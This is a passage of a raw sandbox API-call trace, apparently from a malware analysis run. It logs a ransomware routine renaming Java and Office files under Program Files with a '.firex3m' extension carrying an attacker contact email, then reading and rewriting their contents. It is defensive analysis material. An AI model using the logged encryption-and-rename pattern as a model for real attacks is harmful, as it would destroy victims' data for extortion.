lpBuffer=0x6a4ce8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4ce8*, lpNumberOfBytesWritten=0x3f7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0120.320] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.320] WriteFile (in: hFile=0x6bc, lpBuffer=0x6a4d47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4d47*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0120.320] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.320] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0120.320] CloseHandle (hObject=0x6bc) returned 1 [0120.323] GetProcessHeap () returned 0x630000 [0120.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4ce8 | out: hHeap=0x630000) returned 1 [0120.323] GetProcessHeap () returned 0x630000 [0120.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a46b8 | out: hHeap=0x630000) returned 1 [0120.323] GetProcessHeap () returned 0x630000 [0120.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0120.323] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.323] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xda9d118, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x3f7fd20, dwReserved1=0x6a46b8, cFileName="javaws.policy.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVAWS~1.FIR")) returned 0x6d4e40 [0120.324] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0120.325] Sleep (dwMilliseconds=0x1) [0120.361] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts", len=0x37 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 1 [0120.361] GetProcessHeap () returned 0x630000 [0120.361] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x130) returned 0x66a3e0 [0120.361] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0120.361] CloseHandle (hObject=0x640) returned 1 [0120.362] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.362] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0120.362] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.362] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c0eb, dwReserved0=0xab088724, dwReserved1=0x0, cFileName="cacerts.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CACERT~1.FIR")) returned 0x6d5200 [0120.363] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0120.363] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0120.363] GetProcessHeap () returned 0x630000 [0120.363] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ff1840 [0120.363] GetProcessHeap () returned 0x630000 [0120.363] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72c5438 [0120.364] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.364] ReadFile (in: hFile=0x640, lpBuffer=0x6ff1840, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff1840*, lpNumberOfBytesRead=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0125.186] GetProcessHeap () returned 0x630000 [0125.186] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0125.186] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.186] WriteFile (in: hFile=0x640, lpBuffer=0x72c5438*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c5438*, lpNumberOfBytesWritten=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0125.187] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.187] WriteFile (in: hFile=0x640, lpBuffer=0x72d0837*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d0837*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0125.187] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.187] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0125.187] CloseHandle (hObject=0x640) returned 1 [0125.190] GetProcessHeap () returned 0x630000 [0125.190] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72c5438 | out: hHeap=0x630000) returned 1 [0125.190] GetProcessHeap () returned 0x630000 [0125.190] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff1840 | out: hHeap=0x630000) returned 1 [0125.190] GetProcessHeap () returned 0x630000 [0125.190] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0128.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.736] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x10904307, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c10f, dwReserved0=0xcd87496, dwReserved1=0x6ff1838, cFileName="cacerts.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CACERT~1.FIR")) returned 0x6d5340 [0128.736] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0128.736] Sleep (dwMilliseconds=0x1) [0128.866] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar", len=0x3e | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 1 [0128.866] GetProcessHeap () returned 0x630000 [0128.866] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x98) returned 0x66a3e0 [0128.866] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0128.980] CloseHandle (hObject=0x674) returned 1 [0128.980] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.981] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.989] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.989] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x44661, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunjce_provider.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SUNJCE~1.FIR")) returned 0x6d4ec0 [0129.026] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0129.026] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0129.027] GetProcessHeap () returned 0x630000 [0129.027] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7238db8 [0129.027] GetProcessHeap () returned 0x630000 [0129.027] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72441e8 [0129.028] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.028] ReadFile (in: hFile=0x6a0, lpBuffer=0x7238db8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7238db8*, lpNumberOfBytesRead=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0137.091] GetProcessHeap () returned 0x630000 [0137.091] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0137.092] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.092] WriteFile (in: hFile=0x6a0, lpBuffer=0x72441e8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72441e8*, lpNumberOfBytesWritten=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0137.092] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.092] WriteFile (in: hFile=0x6a0, lpBuffer=0x724f5e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x724f5e7*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0137.094] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.094] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0137.094] CloseHandle (hObject=0x6a0) returned 1 [0137.101] GetProcessHeap () returned 0x630000 [0137.101] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72441e8 | out: hHeap=0x630000) returned 1 [0137.101] GetProcessHeap () returned 0x630000 [0137.101] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7238db8 | out: hHeap=0x630000) returned 1 [0137.101] GetProcessHeap () returned 0x630000 [0137.101] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0137.101] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.101] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x17a9b5d5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x44685, dwReserved0=0xcd87496, dwReserved1=0x7238db0, cFileName="sunjce_provider.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SUNJCE~1.FIR")) returned 0x6d5200 [0137.102] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0137.102] Sleep (dwMilliseconds=0x1) [0138.670] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml", len=0x59 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml") returned 1 [0138.670] GetProcessHeap () returned 0x630000 [0138.670] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a30) returned 0x72b0508 [0138.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri-cambria.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0138.671] CloseHandle (hObject=0x6a4) returned 1 [0138.671] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.671] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri-cambria.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri-cambria.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.671] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.671] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdd6, dwReserved0=0xf008da22, dwReserved1=0x69002e, cFileName="Calibri-Cambria.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CALIBR~2.FIR")) returned 0x6d5340 [0138.672] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0138.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri-cambria.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0138.672] GetProcessHeap () returned 0x630000 [0138.672] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x72419e0 [0138.672] GetProcessHeap () returned 0x630000 [0138.672] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x72443f8 [0138.672] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.672] ReadFile (in: hFile=0x6a4, lpBuffer=0x72419e0, nNumberOfBytesToRead=0xdc0, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72419e0*, lpNumberOfBytesRead=0x3f7ff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0138.700] GetProcessHeap () returned 0x630000 [0138.700] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318788 [0138.700] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.700] WriteFile (in: hFile=0x6a4, lpBuffer=0x72443f8*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72443f8*, lpNumberOfBytesWritten=0x3f7ff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0138.700] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.700] WriteFile (in: hFile=0x6a4, lpBuffer=0x72451b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72451b7*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.701] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.701] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.701] CloseHandle (hObject=0x6a4) returned 1 [0138.701] GetProcessHeap () returned 0x630000 [0138.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72443f8 | out: hHeap=0x630000) returned 1 [0138.701] GetProcessHeap () returned 0x630000 [0138.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72419e0 | out: hHeap=0x630000) returned 1 [0138.701] GetProcessHeap () returned 0x630000 [0138.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318788 | out: hHeap=0x630000) returned 1 [0138.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.701] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri-Cambria.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x189e5734, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xdfa, dwReserved0=0x3f7fd20, dwReserved1=0x72419e0, cFileName="Calibri-Cambria.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CALIBR~2.FIR")) returned 0x6d5540 [0138.701] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0138.701] Sleep (dwMilliseconds=0x1) [0138.765] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml", len=0x62 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml") returned 1 [0138.765] GetProcessHeap () returned 0x630000 [0138.765] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a2c) returned 0x72b0508 [0138.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri light-constantia.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0138.766] CloseHandle (hObject=0x5e4) returned 1 [0138.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.766] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri light-constantia.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri light-constantia.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.767] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdff, dwReserved0=0x1b, dwReserved1=0xfffffffa, cFileName="Calibri Light-Constantia.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CALIBR~3.FIR")) returned 0x6d5580 [0138.767] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0138.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri Light-Constantia.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri light-constantia.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 